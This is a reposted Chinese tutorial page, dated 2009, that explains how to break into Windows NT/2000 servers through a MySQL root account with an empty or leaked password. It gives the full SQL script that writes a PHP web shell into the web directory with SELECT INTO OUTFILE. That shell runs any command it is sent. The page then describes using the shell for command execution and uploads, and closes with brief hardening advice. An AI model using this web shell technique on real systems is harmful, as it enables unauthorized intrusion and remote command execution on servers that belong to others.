当前位置: 首页 > 图文教程 > 数据库 > MYSQL > 通过mysql入侵NT和win2000

MYSQL
MySQL collation方法
mysql Myisamchk小工具使用手册
MySQL server has gone away错误提示解决方法
从其他电脑访问本机的Mysql的设置方法
mysql 卡死 大部分线程长时间处于sending data的状态
MySQL 存储过程和"Cursor"的使用方法
mysql 忘记密码的解决方法(linux和windows小结)
MySQL 编码机制
CMS不要让MySQL为你流泪
MySQL 数据类型和建库策略
MYSQL 数据库命名与设计规范
mysql 按中文字段排序
mysql proxy问题的解决方法
Mysql 数据库访问类
MySQL 数据库跨操作系统的最快迁移方法
MySQL 数据库的临时文件究竟储存在哪里
MySQL 优化设置步骤
mysql 终结点映射器中没有更多的终结点可用的解决方法
MYSQL WHERE语句优化
MySQL 服务器参数说明及查看 设置方法

MYSQL 中的 通过mysql入侵NT和win2000


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-30   浏览: 67 ::
收藏到网摘: n/a

  许多NT和win2000机器上面装有mysql和php。而mysql默认数据库root账号为空,这就给入侵者一个途径来入侵该机器。如果修改了数据库root的账号密码,而IIS的一些其他漏洞导致源代码泄漏也可能看到数据库的账号和密码。假设我们已经拿到了数据库的密码,看看我们如何通过mysql数据库来获得该机器的一定权限。
首先通常情况下,一般mysql和php配合使用,大多数NT和win2000的机器上如果使用php一般都会使用mysql。而默认情况下windows上的mysql是允许远程连接的。而装在linux等上的mysql是不允许远程连接的。入侵的思路是写一个shell脚本到web目录。就可以通过这个shell教本来执行命令了。而一般情况下,windows的web服务器是IIS,默认也是支持asp脚本的。网上也随处可见asp的sehll脚本,只要将这个asp的脚本传到web目录就好了。但是我觉得那些脚本都比较麻烦。而如果目标机器上面有php的话就可以用php脚本了。在这里我用php脚本来写shell。首先我们要用mysql的客户端连结到该机器,并执行我们的sql语句来在web目录生成php的shell脚本。
C:\mysql\bin>mysql -h xxx.xxx.xxx.xxx -uroot <php.sql

C:\mysql\bin>

下面是php.sql的内容:
use test;
create table tmp(cmd TEXT);
insert into tmp values('<body onload=document.form1.cmd.focus()><?if (isset($cmd)){$cmd=stripslashes($cmd);exec(\"$cmd > temp.dat\");}?><style type=\"text/css\"><!\-\- .form1 {BACKGROUND: #FFFFFF; BORDER-BOTTOM: #666666 1px solid; BORDER-LEFT: #666666 1px solid; BORDER-RIGHT: #666666 1px solid; BORDER-TOP: #666666 1px solid; COLOR: #3c464f; FONT-SIZE: 9pt; clip: rect( ); cursor: text; height: auto; width: auto; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px\-\-></style><p class=\"title2\"> </p><form name=\"form1\" method=\\"post\" action=\"/cmd2.php\"> <input type=\"text\" name=\"cmd\" size=\"50\" class=\"form1\"></form><form name=\"form2\" method=\"post\" action=\"\"> <p> <textarea name=\"text\" cols=\"120\" rows=\"50\" class=\"form1\"><?if(isset($cmd)){readfile(\"temp.dat\");unlink(\"temp.dat\");}?></textarea> </p></form></body>');
select * from tmp into outfile 'd:\\new\\cmd2.php';
drop table tmp;

上面的sql语句是创建一个名字为tmp的table,将脚本输入到数据库,然后再将这个脚本保存成d:\new\cmd2.php。然后删除tmp这个我们创建的table。这里的d:\new的目录是该机器的web目录。然后我们就可以在浏览器中输http://xxx.xxx.xxx.xxx/cmd2.php,就可以利用这个shell执行命令了。至此我们已经获得了该网站的一个guest权限的shell了。我们可以通过这个shell脚本写个ftp脚本来上传文件,也可以利用这个shell来进行其他guest权限能够执行的一些东东了。这里需要注意的是如果cmd2.php已经存在了这个sql脚本是不能运行成功的。这个php脚本不能写成功。
关键的问题在于获得数据库的密码并且能够找到web目录。然后一切都不成问题了。
安全建议:设置mysql数据库的密码,并且要有一定的强度。设置好IIS避免泄漏源代码,不要直接在web目录编辑脚本等文件,因为有些编辑器会自动产生一个备份文件,一般为.bak的扩展名,这样恶意攻击者就可能直接打开这个.bak文件从而泄漏源代码,比如global.asa.bak。